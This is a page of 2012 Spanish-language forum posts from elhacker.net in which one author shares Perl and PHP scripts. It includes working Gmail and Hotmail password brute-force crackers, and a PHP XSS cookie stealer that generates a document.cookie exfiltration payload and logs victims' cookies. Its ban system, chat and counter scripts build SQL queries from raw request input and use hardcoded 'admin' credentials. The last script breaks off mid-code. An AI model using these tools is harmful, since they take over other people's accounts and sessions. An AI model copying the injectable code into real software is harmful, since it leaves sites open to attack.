elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: 1 ... 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43 44 45 46 47 48 49 50 51 52 53 54 55
411  Programación / Scripting / [Perl] Gmail Cracker 0.1 en: 1 Febrero 2012, 19:25 pm
Un simple programa para crackear una cuenta Gmail.

Código
  1. #Gmail Cracker 0.1
  2. #Coded By Doddy H
  3. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  4. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  5. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  6.  
  7. use Mail::POP3Client;
  8. use IO::Socket::SSL;
  9.  
  10. head();
  11.  
  12. if($ARGV[0] and $ARGV[1]) {
  13. crackgmail($ARGV[0],$ARGV[1]);
  14. } else {
  15. print "\n[+] Sintax : $0 <email> <wordlist>\n";
  16. }
  17.  
  18. copyright();
  19.  
  20. sub crackgmail {
  21.  
  22. my($user,$wordlist) = @_ ;
  23.  
  24. unless(-f $wordlist) {
  25. print "\n[-] Wordlist not found\n";
  26. copyright();
  27. }
  28.  
  29. print "\n[+] Loading wordlist\n";
  30.  
  31. open(FILE,$wordlist);
  32. my @passwords = <FILE>;
  33. close FILE;
  34.  
  35. print "\n[+] Words Found : ".int(@passwords)."\n";
  36. print "\n[+] Cracking...\n\n";
  37.  
  38. for my $pass(@passwords) {
  39. chomp $pass;
  40.  
  41. my $so = IO::Socket::SSL->new(PeerAddr=>"pop.gmail.com",PeerPort => 995,Proto => "tcp");
  42.  
  43. my $nave = Mail::POP3Client->new();
  44.  
  45. $nave->User($user);
  46. $nave->Pass($pass);
  47. $nave->Socket($so);
  48.  
  49. if ($nave->Connect()) {
  50. print "\a\a\n[+] Email : $user\n";
  51. print "[+] Password : $pass\n";
  52. $so->close();
  53. $nave->close();
  54. copyright();
  55. }
  56. $so->close();
  57. $nave->close();
  58. }
  59.  
  60. print "\n[+] Password not found\n";
  61.  
  62. }
  63.  
  64. sub head {
  65. print "\n\n-- == Gmail Cracker == --\n\n";
  66. }
  67.  
  68. sub copyright {
  69. print "\n\n(C) Doddy Hackman 2012\n\n";
  70. exit(1);
  71. }
  72.  
  73. # The End ? 
  74.  
412  Programación / Scripting / [Perl] Hotmail Cracker 0.1 en: 1 Febrero 2012, 19:24 pm
Un simple script para crackear una cuenta Hotmail.

Código
  1. #Hotmail Cracker 0.1
  2. #Coded By Doddy H
  3. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  4. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  5. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  6.  
  7. use Mail::POP3Client;
  8. use IO::Socket::SSL;
  9.  
  10. head();
  11.  
  12. if($ARGV[0] and $ARGV[1]) {
  13. crackhot($ARGV[0],$ARGV[1]);
  14. } else {
  15. print "\n[+] Sintax : $0 <email> <wordlist>\n";
  16. }
  17.  
  18. copyright();
  19.  
  20. sub crackhot {
  21.  
  22. my($user,$wordlist) = @_ ;
  23.  
  24. unless(-f $wordlist) {
  25. print "\n[-] Wordlist not found\n";
  26. copyright();
  27. }
  28.  
  29. print "\n[+] Loading wordlist\n";
  30.  
  31. open(FILE,$wordlist);
  32. my @passwords = <FILE>;
  33. close FILE;
  34.  
  35. print "\n[+] Words Found : ".int(@passwords)."\n";
  36. print "\n[+] Cracking...\n\n";
  37.  
  38. for my $pass(@passwords) {
  39. chomp $pass;
  40.  
  41. my $so = IO::Socket::SSL->new(PeerAddr=>"pop3.live.com",PeerPort => 995,Proto => "tcp");
  42.  
  43. my $nave = Mail::POP3Client->new();
  44.  
  45. $nave->User($user);
  46. $nave->Pass($pass);
  47. $nave->Socket($so);
  48.  
  49. if ($nave->Connect()) {
  50. print "\a\a\n[+] Email : $user\n";
  51. print "[+] Password : $pass\n";
  52. $so->close();
  53. $nave->close();
  54. copyright();
  55. }
  56. $so->close();
  57. $nave->close();
  58. }
  59.  
  60. print "\n[+] Password not found\n";
  61.  
  62. }
  63.  
  64. sub head {
  65. print "\n\n-- == Hotmail Cracker == --\n\n";
  66. }
  67.  
  68. sub copyright {
  69. print "\n\n(C) Doddy Hackman 2012\n\n";
  70. exit(1);
  71. }
  72.  
  73. # The End ? 
  74.  
413  Programación / PHP / Ban System 0.1 en: 31 Enero 2012, 21:58 pm
Un simple codigo para banear una IP.

El codigo

Código
  1. <?php 
  2.  
  3. //Ban System 0.1
  4. //Coded By Doddy H
  5.  
  6. //Datos para la DB
  7.  
  8. $host = "localhost";
  9. $userw = "root";
  10. $passw = "";
  11. $db = "ban";
  12.  
  13. //
  14.  
  15. mysql_connect($host,$userw,$passw);
  17.  
  18. $ipa = ip2long($_SERVER[REMOTE_ADDR]);
  19. $ip = $_SERVER[REMOTE_ADDR];
  20.  
  21. if ($ipa == -1 || $ipa === FALSE) {
  22.  
  23. $re = mysql_query("select ip from bansystem where ip='$ip'");
  24.  
  25. if (mysql_num_rows($re) > 0) {
  26. echo "<center><h1>Has sido baneado de esta pagina</h1></center>";
  27. } else {
  28. echo "<center><h2>Bienvenido</h2></center>";
  29. }
  30.  
  31. } else {
  32. echo "<script>alert('Muy gracioso');</script>";
  33. }
  34.  
  36.  
  37.  
  38. // The End ?
  39.  
  40.  
  41. ?> 
  42.  
  43.  

El administrador

Código
  1. <?php 
  2.  
  3. //Ban System Admin 0.1
  4. //Coded By Doddy H
  5.  
  6. //Datos para el login
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10.  
  11. //
  12.  
  13. //Datos para la DB
  14.  
  15. $host = "localhost";
  16. $userw = "root";
  17. $passw = "";
  18. $db = "ban";
  19.  
  20. //
  21.  
  22. if (isset($_COOKIE['portal'])) {
  23.  
  24. $st = base64_decode($_COOKIE['portal']);
  25.  
  26. $plit = split("@",$st);
  27. $user = $plit[0];
  28. $pass = $plit[1];
  29.  
  30. if ($user == $username and $pass == $password) {
  31.  
  32. mysql_connect($host,$userw,$passw);
  34.  
  35. if(isset($_POST['instalar'])) {
  36.  
  37. $todo = "create table bansystem (
  38. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  39. ip TEXT NOT NULL,
  40. PRIMARY KEY(id));
  41. ";
  42.  
  43. if (mysql_query($todo)) {
  44. echo "<script>alert('Instalado correctamente');</script>";
  45. echo '<meta http-equiv="refresh" content=0;URL=>';
  46. } else {
  47. echo "<script>alert('Error');</script>";
  48. }
  49. }
  50.  
  51. if( mysql_num_rows(mysql_query("show tables like 'bansystem'"))) {
  52. //Lo demas
  53.  
  54. echo "<title>BanSystem Administracion</title>";
  55. echo "<center><h1>BanSystem Administracion</h1></center><br><br>";
  56.  
  57. if(isset($_POST['ipadd'])) {
  58.  
  59. $ipfinal = ip2long($_POST['ipadd']);
  60. $ipaz = $_POST['ipadd'];
  61.  
  62. if ($ipfinal == -1 || $ipfinal === FALSE) {
  63. echo "<script>alert('Eso no es una IP');</script>";
  64.  
  65. } else {
  66.  
  67. if (mysql_query("INSERT INTO bansystem (id,ip) values (NULL,'$ipaz')")) {
  68. echo "<script>alert('IP Agregada');</script>";
  69. } else {
  70. echo "<script>alert('Error');</script>";
  71. }
  72.  
  73.  
  74. }
  75. }
  76.  
  77. if(isset($_GET['del'])) {
  78. $id = $_GET['del'];
  79. if (@mysql_query("DELETE FROM bansystem where id ='$id'")) {
  80. echo "<script>alert('Borrado');</script>";
  81. } else {
  82. echo "<script>alert('Error');</script>";
  83. }
  84. }
  85.  
  86. echo "
  87. <center>
  88. <h2>Agregar una IP</h2><br><br>
  89. <form action='' method=POST>
  90. IP : <input type=text name=ipadd value=127.0.0.1><input type=submit value=Agregar>
  91. </form>
  92. <br><br>
  93. <h2>Baneados</h2><br><br>
  94. <table border=1>
  95. <td>ID</td><td>IP</td><td>Option</td><tr>";
  96.  
  97. $sen = @mysql_query("select * from bansystem order by id ASC");
  98.  
  99. while ($ab = @mysql_fetch_array($sen)) {
  100. echo "<td>".htmlentities($ab[0])."</td><td>".htmlentities($ab[1])."</td><td><a href=?del=".htmlentities($ab[0]).">Delete</a></td><tr>";
  101. }
  102.  
  103. echo "</table>
  104. </center>
  105. ";
  106. //
  107. } else {
  108. echo "
  109. <center><br><br>
  110. <form action='' method=POST>
  111. <h2>Deseas instalar Ban System ?</h2><br><br>
  112. <input type=submit name=instalar value=Instalar>
  113. </form>";
  114. }
  115.  
  117. exit(1);
  118.  
  119. // End
  120.  
  121. } else {
  122. echo "<script>alert('Segui Participando');</script>";
  123. }
  124. }
  125.  
  126. if (isset($_POST['login'])) {
  127. if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  128. setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));	
  129. echo "<script>alert('Bienvenido idiota');</script>";
  130. echo '<meta http-equiv="refresh" content=0;URL=>';
  131. } else {
  132. echo "<script>alert('Segui Participando');</script>";
  133. }
  134.  
  135. } else {
  136.  
  137. echo "
  138. <title>Ban System</title>
  139. <h1><center>Ban System</center></h1>
  140. <br><br><center>
  141. <form action='' method=POST>
  142. Username : <input type=text name=user><br>
  143. Password : <input type=text name=password><br><br>
  144. <input type=submit name=login value=Enter><br>
  145. </form>
  146. </center><br><br>";
  147.  
  148. }
  149.  
  150. // The End ?
  151.  
  152.  
  153. ?> 
  154.  
414  Programación / PHP / CookieManager 0.3 en: 31 Enero 2012, 21:57 pm
Un simple cookie stealer para XSS.

Código
  1. <?php 
  2.  
  3. //CookieManager 0.3
  4. //Coded By Doddy H
  5.  
  6. //Datos para el login
  7.  
  8. $username = "admin";
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  10.  
  11. //
  12.  
  13. //Datos para la DB
  14.  
  15. $host = "localhost";
  16. $userw = "root";
  17. $passw = "";
  18. $db = "cookies";
  19.  
  20. //
  21.  
  22. mysql_connect($host,$userw,$passw);
  24.  
  25. if(isset($_GET['id'])) {
  26.  
  27. if(empty($_GET['id'])) {
  28. error();
  29. }
  30.  
  31. $dia = date("d.m.Y");
  32. $ip = $_SERVER["REMOTE_ADDR"];
  33. $info = $_SERVER["HTTP_USER_AGENT"];
  34. $ref = $_SERVER["HTTP_REFERER"];
  35. $cookie = $_GET['id'];
  36.  
  37. @mysql_query("INSERT INTO todo(id,fecha,ip,info,referer,cookie)values(NULL,'$dia','$ip','$info','$ref','$cookie')");
  38.  
  39. header("Location:http://www.google.com.ar");
  40.  
  41. }
  42.  
  43. elseif (isset($_COOKIE['portal'])) {
  44.  
  45. $st = base64_decode($_COOKIE['portal']);
  46.  
  47. $plit = split("@",$st);
  48. $user = $plit[0];
  49. $pass = $plit[1];	
  50.  
  51.  
  52. if ($user == $username and $pass == $password) {
  53.  
  54. echo "<title>CookieManager 0.3</title>";
  55.  
  56. echo "<STYLE type=text/css>
  57.  
  58. body,a:link {
  59. background-color: #000000;
  60. color:orange;
  61. Courier New;
  62. cursor:crosshair;
  63. font-size: small;
  64. }
  65.  
  66. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  67. font: normal 10px Verdana, Arial, Helvetica,
  68. sans-serif;
  69. background-color:black;
  70. color:orange; 
  71. border: solid 1px orange;
  72. border-color:orange
  73. }
  74.  
  75. a:link,a:visited,a:active {
  76. color: orange;
  77. font: normal 10px Verdana, Arial, Helvetica,
  78. sans-serif;
  79. text-decoration: none;
  80. }
  81.  
  82. </style>
  83. ";
  84.  
  85. if(isset($_POST['instalar'])) {
  86.  
  87. $todo = "create table todo (
  88. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  89. fecha TEXT NOT NULL,
  90. ip TEXT NOT NULL,
  91. info TEXT NOT NULL,
  92. referer TEXT NOT NULL,
  93. cookie TEXT NOT NULL,
  94. PRIMARY KEY (id));
  95. ";
  96.  
  97. if (mysql_query($todo)) {
  98. echo "<script>alert('Installed');</script>";
  99. } else {
  100. echo "<script>alert('Error');</script>";
  101. }
  102. }
  103.  
  104. if( mysql_num_rows(mysql_query("show tables like 'todo'"))) {
  105.  
  106. //
  107.  
  108. if(isset($_GET['del'])) {
  109. if (is_numeric($_GET['del'])) {
  110. if (@mysql_query("delete from todo where id='".$_GET['del']."'")) {
  111. echo "<script>alert('Deleted');</script>";
  112. } else {
  113. echo "<script>alert('Error');</script>";
  114. }}}
  115.  
  116. echo "<center>";
  117. echo "<h1>CookieManager</h1><br><br>";
  118.  
  119.  
  120. $iny = htmlentities("<script>document.location='http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?id='%2Bdocument.cookie</script>");
  121.  
  122. echo "<b>CODE</b> : <input type=text name=iny value=$iny size=104><br><br>";
  123.  
  124. $re = mysql_query("select * from todo order by id ASC");
  125. $con = mysql_num_rows($re);
  126.  
  127. if ($con==0) {
  128. echo "<script>alert('Not found cookies');</script>";
  129. } else {
  130.  
  131. echo "<br><br><h1>Cookies Found</h1><br><br><table border=1 width=1100>";
  132. echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Referer</b></td><td><b>Cookie</b></td><td><b>Option</b></td><tr>";
  133.  
  134. while ($ver = mysql_fetch_array($re)) {
  135.  
  136. echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[3])."</td>"; 
  137. echo "<td>".htmlentities($ver[4])."</td><td>".htmlentities($ver[5])."</td><td><a href=?del=".$ver[0].">Del</a></td><tr>";
  138.  
  139. }
  140.  
  141. echo "</table>";
  142. echo "<br><br><br><br><br><h1>Coded By Doddy H || 2012</h1><br><br>";
  143.  
  144.  
  145.  
  146.  
  147. }
  148.  
  149. //
  150.  
  151. } else {
  152. echo "
  153. <center><br><br>
  154. <form action='' method=POST>
  155. <h2>Deseas instalar CookieManager ?</h2><br><br>
  156. <input type=submit name=instalar value=Instalar>
  157. </form>";
  158. }
  159. exit(1);
  160. }
  161. }
  162.  
  163. elseif (isset($_POST['login'])) {
  164. if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  165. setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));	
  166. echo "<script>alert('Welcome idiot');</script>";
  167. echo '<meta http-equiv="refresh" content=0;URL=>';
  168. } else {
  169. echo "<script>alert('Continued to participate');</script>";
  170. }
  171. }
  172.  
  173. elseif(isset($_GET['adminow'])) {
  174.  
  175. echo "
  176. <h1><center>Login</center></h1>
  177. <br><br><center>
  178. <form action='' method=POST>
  179. Username : <input type=text name=user><br>
  180. Password : <input type=text name=password><br><br>
  181. <input type=submit name=login value=Enter><br>
  182. </form>
  183. </center><br><br>";
  184. } else {
  185.  
  186. error();
  187.  
  188. }
  189.  
  190. function error() {
  191. echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  192. <html><head>
  193. <title>404 Not Found</title>
  194. </head><body>
  195. <h1>Not Found</h1>
  196. <p>The requested URL was not found on this server.</p>
  197. </body></html>';
  198. exit(1);
  199. }
  200.  
  201.  
  203.  
  204. // The End ?
  205.  
  206.  
  207. ?> 
  208.  
  209.  
415  Programación / PHP / Mini Chat 0.3 en: 31 Enero 2012, 21:57 pm
Una nueva version del simple chat que habia hecho hace un tiempo.

El codigo del chat

Código
  1. <?php
  2.  
  3. //Mini Chat 0.3 
  4. //Coded By Doddy H
  5.  
  6. //Datos del a DB
  7.  
  8. $host = "localhost";
  9. $user = "root";
  10. $pass = "";
  11. $db = "chat";
  12.  
  13. //
  14.  
  15. //Colores
  16.  
  17. $fondo = "black";
  18. $color = "#00FF00";
  19.  
  20. //
  21.  
  22. echo "
  23. <style>
  24.  
  25. .main {
  26. word-wrap: break-word;
  27. word-break:break-all; 
  28. margin			: -287px 0px 0px -490px;
  29. border			: White solid 1px;
  30. BORDER-COLOR: $color; 
  31. background-color:$fondo;
  32. color:$color;
  33. }
  34.  
  35. .otro {
  36. background-color:$fondo;
  37. color:$color;
  38. BORDER-COLOR: $color;
  39. }
  40.  
  41. </style>";
  42.  
  43. mysql_connect($host,$user,$pass);
  45.  
  46. echo "<table border=0 width='210' style='table-layout: fixed'>";
  47. echo "<td class=main><b>Mini Chat 0.3</b></td><tr class=main>";
  48.  
  49.  
  50. $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
  51.  
  52. $s = mysql_fetch_row($sumo);
  53.  
  54. foreach ($s as $d) {
  55. $total = $d;
  56. }
  57.  
  58. $test = $total - 10;
  59.  
  60. if ($test <= 0) {
  62. } else {
  63. $resto = $test;
  64.  
  65. for ($i = 1; $i <= $resto; $i++) {
  66. @mysql_query("DELETE FROM mensajes where id_comentario='$i'");
  67. }
  68. }
  69.  
  70. $re = @mysql_query("select * from mensajes order by id_comentario DESC");
  71.  
  72. while ($ver = @mysql_fetch_array($re)) {
  73. echo "<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr class=main>";
  74. }
  75.  
  76.  
  77. echo "<br><br><td class=main><br><b>Dejar mensaje</b><br><br>	
  78. <form action='' method=POST>
  79. Apodo : <input class=otro type=text name=apodo size=25><br>
  80. Texto : <input class=otro type=text name=msg size=25><br><br>
  81. <input class=otro type=submit name=chatentro value=Mandar>
  82. </form>
  83. <tr>
  84. <td class=main><b>Coded By Doddy H</b></td><tr class=main>
  85. </table>";
  86.  
  87.  
  88. if (isset($_POST['chatentro'])) {
  89.  
  90. $sumo = mysql_query("SELECT MAX(id_comentario) FROM mensajes");
  91.  
  92. $s = mysql_fetch_row($sumo);
  93.  
  94. foreach ($s as $d) {
  95. $x_id = $d+1;
  96. }
  97.  
  98. $apodo = htmlentities(addslashes($_POST['apodo']));
  99. $mensaje  = htmlentities(addslashes($_POST['msg']));
  100.  
  101. $apodo = substr($apodo,0,70);
  102. $mensaje = substr($mensaje,0,70);
  103.  
  104. $rex = mysql_query("select mensaje from insultos");
  105.  
  106. while ($con = mysql_fetch_array($rex)) {
  107. $mensaje = str_replace($con[0],"#$!*",$mensaje);
  108. $apodo = str_replace($con[0],"#$!*",$apodo);
  109. }
  110.  
  111. @mysql_query("INSERT INTO mensajes(id_comentario,apodo,mensaje)values('$x_id','$apodo','$mensaje')");
  112.  
  113. echo '<meta http-equiv="refresh" content=0;URL=>';
  114.  
  115. }
  116.  
  118.  
  119. // The End ? 
  120.  
  121. ?>	
  122.  

El administrador.

Código
  1. <?php 
  2.  
  3. //Mini Chat 0.3 Admin
  4.  
  5. //Datos para el login
  6.  
  7. $username = "admin";
  8. $password = "21232f297a57a5a743894a0e4a801fc3"; //admin
  9.  
  10. //
  11.  
  12. //Datos para la DB
  13.  
  14. $host = "localhost";
  15. $userw = "root";
  16. $passw = "";
  17. $db = "chat";
  18.  
  19. //
  20.  
  21. if (isset($_COOKIE['portal'])) {
  22.  
  23. $st = base64_decode($_COOKIE['portal']);
  24.  
  25. $plit = split("@",$st);
  26. $user = $plit[0];
  27. $pass = $plit[1];	
  28.  
  29. if ($user == $username and $pass == $password) {
  30.  
  31. echo "<title>Mini Chat 0.3</title>";
  32.  
  33. mysql_connect($host,$userw,$passw);
  35.  
  36. if(isset($_POST['instalar'])) {
  37.  
  38. $todo = "create table mensajes (
  39. id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  40. mensaje TEXT NOT NULL,
  41. apodo VARCHAR(255) NOT NULL,
  42. PRIMARY KEY (id_comentario));
  43. ";
  44.  
  45. $todo2 = "create table insultos (
  46. id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  47. mensaje TEXT NOT NULL,
  48. PRIMARY KEY (id_insulto));
  49. ";
  50.  
  51. if (mysql_query($todo)) {
  52. if (mysql_query($todo2)) {
  53.  
  54. $insultos = array("lammer","lamer","maricon","noob");
  55.  
  56. foreach ($insultos as $con) {
  57. @mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
  58. }
  59.  
  60. echo "<script>alert('Instalado correctamente');</script>";
  61. echo '<meta http-equiv="refresh" content=0;URL=>';
  62. }
  63. } else {
  64. echo "<script>alert('Error');</script>";
  65. }
  66. }
  67.  
  68. if( mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {
  69.  
  70. //
  71.  
  72. $re = mysql_query("select * from mensajes order by id_comentario ASC");
  73.  
  74. if (isset($_GET['id'])) {
  75. if (is_numeric($_GET['id'])) {
  76. if (@mysql_query("delete from mensajes where id_comentario='".$_GET['id']."'")) {
  77. echo "<script>alert('Comentario borrado');</script>";
  78. } else {
  79. echo "<script>alert('Error');</script>";
  80. }}}
  81.  
  82. echo "<center><h2>Comentarios encontrados</h2><br><br>";
  83. echo "<table border=1>";
  84. echo "<td><b>ID</b></td><td><b>Apodo</b></td><td><b>Texto</b></td><td><b>Opcion</b></td><tr>";
  85.  
  86. while ($ver = mysql_fetch_array($re)) {
  87. echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[2])."</td><td>".htmlentities($ver[1])."</td><td><a href=?id=".htmlentities($ver[0]).">Borrar</a></td><tr>";
  88. }
  89.  
  90. echo "</table>";
  91.  
  92. if(isset($_POST['nuevoinsulto'])) {
  93. $in = $_POST['insul'];
  94. @mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')");
  95. }
  96.  
  97. if(isset($_GET['delpu'])) {
  98. if (is_numeric($_GET['delpu'])) {
  99. if (@mysql_query("delete from insultos where id_insulto='".$_GET['delpu']."'")) {
  100. echo "<script>alert('Insulto borrado');</script>";
  101. } else {
  102. echo "<script>alert('Error');</script>";
  103. }}}
  104.  
  105. echo "<br><br><h2>Bloqueo de insultos</h2><br><br>";
  106. echo "
  107. <form action='' method=POST>
  108. Texto : <input type=text name=insul>
  109. <input type=submit name=nuevoinsulto value=Agregar>
  110. </form>";
  111.  
  112. echo "<br><br><h2>Insultos encontrados</h2><br><br>";
  113.  
  114. $rea = mysql_query("select * from insultos order by id_insulto ASC");
  115.  
  116. echo "<table border=1>";
  117. echo "<td>ID</td><td>Insulto</td><td>Opcion</td><tr>";
  118. while ($ver = mysql_fetch_array($rea)) {
  119. echo "<td>".htmlentities($ver[0])."</td><td>".htmlentities($ver[1])."</td><td><a href=?delpu=".htmlentities($ver[0]).">Borrar</a></td><tr>";
  120. }
  121.  
  122. echo "</table>";
  123. echo "</center>";
  124.  
  125. } else {
  126. echo "
  127. <center><br><br>
  128. <form action='' method=POST>
  129. <h2>Deseas instalar Mini Chat 0.3 ?</h2><br><br>
  130. <input type=submit name=instalar value=Instalar>
  131. </form>";
  132. }
  133.  
  135. exit(1);
  136.  
  137. }
  138. }
  139.  
  140. if (isset($_POST['login'])) {
  141. if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
  142. setcookie("portal",base64_encode($_POST['user']."@".md5($_POST['password'])));	
  143. echo "<script>alert('Bienvenido idiota');</script>";
  144. echo '<meta http-equiv="refresh" content=0;URL=>';
  145. } else {
  146. echo "<script>alert('Segui Participando');</script>";
  147. }
  148.  
  149. } else {
  150.  
  151. echo "
  152. <title>Mini Chat 0.3</title>
  153. <h1><center>Mini Chat 0.3</center></h1>
  154. <br><br><center>
  155. <form action='' method=POST>
  156. Username : <input type=text name=user><br>
  157. Password : <input type=text name=password><br><br>
  158. <input type=submit name=login value=Enter><br>
  159. </form>
  160. </center><br><br>";
  161.  
  162. }
  163.  
  164. // The End ?
  165.  
  166.  
  167. ?> 
  168.  
  169.  
416  Programación / PHP / Simple contador de visitas en: 31 Enero 2012, 21:56 pm
Un simple contador de visitas.

La clase del contador

Código
  1. <?php
  2.  
  3. /*
  4.  
  5. Base de un contador de visitas 
  6.  
  7. V 0.1
  8.  
  9. Coded By Doddy H
  10.  
  11. */
  12.  
  13.  
  14. class contador {
  15.  
  16. public function start($host,$user,$pass,$db) {
  17.  
  18. if ($test = @mysql_connect($host,$user,$pass)) {
  19. if (mysql_select_db($db)) {
  20. return true;
  21. }}}
  22.  
  23. public function end() {
  24. $test->close;
  25. }
  26.  
  27. public function instalar() {
  28.  
  29. $todo1 = "create table visitas (
  30. suma int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  31. PRIMARY KEY (suma));
  32. ";
  33.  
  34. if (mysql_query($todo1)) {
  35. return true;
  36. }
  37. }
  38.  
  39. public function desinstalar() {
  40.  
  41. if (@mysql_query("drop table visitas")) {
  42. return true;
  43. }}
  44.  
  45. public function otromas() {
  46. if (@mysql_query("INSERT INTO visitas(suma)VALUES('NULL')")) {
  47. return true;
  48. }}
  49.  
  50. public function totalvisitas() {
  51. return mysql_num_rows(mysql_query("select suma from visitas"));
  52. }
  53.  
  54. }
  55.  
  56. // The End ? 
  57.  
  58. ?>
  59.  

Ejemplos de uso

Código
  1. <?php 
  2.  
  3. include_once("contador.php");
  4.  
  5. $name = New contador;
  6.  
  7. $name->start("localhost","root","","contador");
  8. //$name->instalar();
  9. //$name->desinstalar();
  10.  
  11. $name->otromas();//funcion vital para contar la visita
  12.  
  13. $cantidad = $name->totalvisitas(); //funcion para contar el total de visitas
  14.  
  15. echo "<center><h1>Total de visitas $cantidad</h1></center>";
  16.  
  17. $name->end();
  18.  
  19. // The End ?
  20.  
  21.  
  22. ?> 
  23.  
417  Programación / Scripting / [Perl] Terr0r B0t 0.3 en: 19 Enero 2012, 20:36 pm
Un bot para IRC con funciones orientadas al hacking asi como codificaciones , buscador de SQLI u otras.

http://pastebin.com/g3dxSf2C
418  Programación / Scripting / [Perl] Project STALKER 0.7 en: 19 Enero 2012, 20:36 pm
Un reemplazo de console CMD con las siguientes opciones

[++] Reconocer IP de un Host
[++] Capturar Links de una pagina
[++] Capturar todos los procesos activos
[++] Matar algun proceso
[++] Conectarse a donde sea con sockets
[++] Capturar metodos de un servidor HTTP
[++] Buscar paths activos para listado de directorios
[++] Encode/Decode para Hex,ASCII,Base64
[++] Scannear puertos
[++] Buscar panel de administracion
[++] Crackear un hash mediante paginas
[++] Scanner SQLI
[++] Cliente FTP y MYSQL
[++] Reconocer informacion de una ip
[++] Whois xD
[++] Navegador de archivos
[++] Scannear en google mediante dorks


http://pastebin.com/inQWXx9A
419  Programación / Scripting / [Perl] Manager 0.3 en: 19 Enero 2012, 20:35 pm
Un simple script para manejar los procesos en Windows.

Código
  1. #!usr/bin/perl
  2. #Manager 0.3
  3. #Written By Doddy H
  4.  
  5. use Color::Output;
  6. Color::Output::Init;
  7. use Win32::OLE qw(in);
  8. use Win32::Process;
  9.  
  10. &clean;
  11. &options;
  12.  
  13. sub clean {
  14.     cprint "\x0313";
  15.     print
  16. "\nManager 0.3\nCopyright 2012 Doddy Hackman\nMail:lepuke[at]hotmail[com]\n\n";
  17.     cprint "\x0x30\n\n";
  18.     my %process = getprocess();
  19.     chomp %process;
  20.     $limit = "";
  21.     for my $pid ( keys %process ) {
  22.         if ( $pid ne "" ) { $limit++ }
  23.         push( @procer, $process{$pid} );
  24.         push( @pids,   $pid );
  25.         chomp( @procer, @pids );
  26.     }
  27.     $limit--;
  28.     for my $n ( 1 .. $limit ) {
  29.         cprint "\x037";
  30.         print
  31.           "Process Number: [$n]\tProcess name : $procer[$n]\tPID : $pids[$n]\n";
  32.         cprint "\x037";
  33.     }
  34. }
  35.  
  36. sub options {
  37.     cprint "\0035";
  38.     print
  39. "\n\nOptions :\n\n[a] : Close a process\n[b] Clean Console\n[c] Exit\n\n\n[+] Write you options : ";
  40.     $t = <STDIN>;
  41.     chomp $t;
  42.     if ( $t eq "a" ) {
  43.         &close;
  44.     }
  45.     elsif ( $t eq "b" ) {
  46.         reload();
  47.     }
  48.     elsif ( $t eq "c" ) {
  49.         print "\n\n[+] Written By Doddy H\n\n";
  50.         <stdin>;
  51.         exit(1);
  52.     }
  53.     else {
  54.         reload();
  55.     }
  56. }
  57.  
  58. sub close {
  59.     print "\n[+] Write the number of the process : ";
  60.     $numb = <STDIN>;
  61.     chomp $numb;
  62.     Win32::Process::KillProcess( @procer[$numb], "" );
  63.     print "\n\n[+] OK , Process Closed\n\n";
  64.     <stdin>;
  65.     reload();
  66. }
  67.  
  68. sub reload {
  69.     system("cls");
  70.     system($0);
  71.     &clean;
  72.     &options;
  73. }
  74.  
  75. sub getprocess {
  76.  
  77.     my %procesos;
  78.  
  79.     my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  80.     my $dos = $uno->ConnectServer( "", "root\\cimv2" );
  81.  
  82.     foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
  83.         $procesos{ $pro->{Caption} } = $pro->{ProcessId};
  84.     }
  85.     return %procesos;
  86. }
  87.  
  88. # The End ?
  89.  
  90.  
420  Programación / Scripting / [Perl] LocateIP 0.3 en: 19 Enero 2012, 20:35 pm
La nueva version de este programa para buscar informacion sobre un ip.

Código
  1. #!usr/bin/perl
  2. #LocateIP 0.3 (C) Doddy Hackman 2012
  3.  
  4. use LWP::UserAgent;
  5. use IO::Socket;
  6.  
  7. my $nave = LWP::UserAgent->new();
  8. $nave->timeout(5);
  9. $nave->agent(
  10. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  11. );
  12.  
  13. head();
  14. if ( $ARGV[0] ) {
  15.     start( $ARGV[0] );
  16. }
  17. else {
  18.     sintax();
  19. }
  20. copyright();
  21.  
  22. sub start {
  23.     print "\n[+] Target :  $_[0]\n";
  24.     infocon( $_[0] );
  25. }
  26.  
  27. sub sintax {
  28.     print "\n[+] sintax : $0 <web>\n";
  29. }
  30.  
  31. sub head {
  32.     print q(
  33.  
  34.  
  35.  
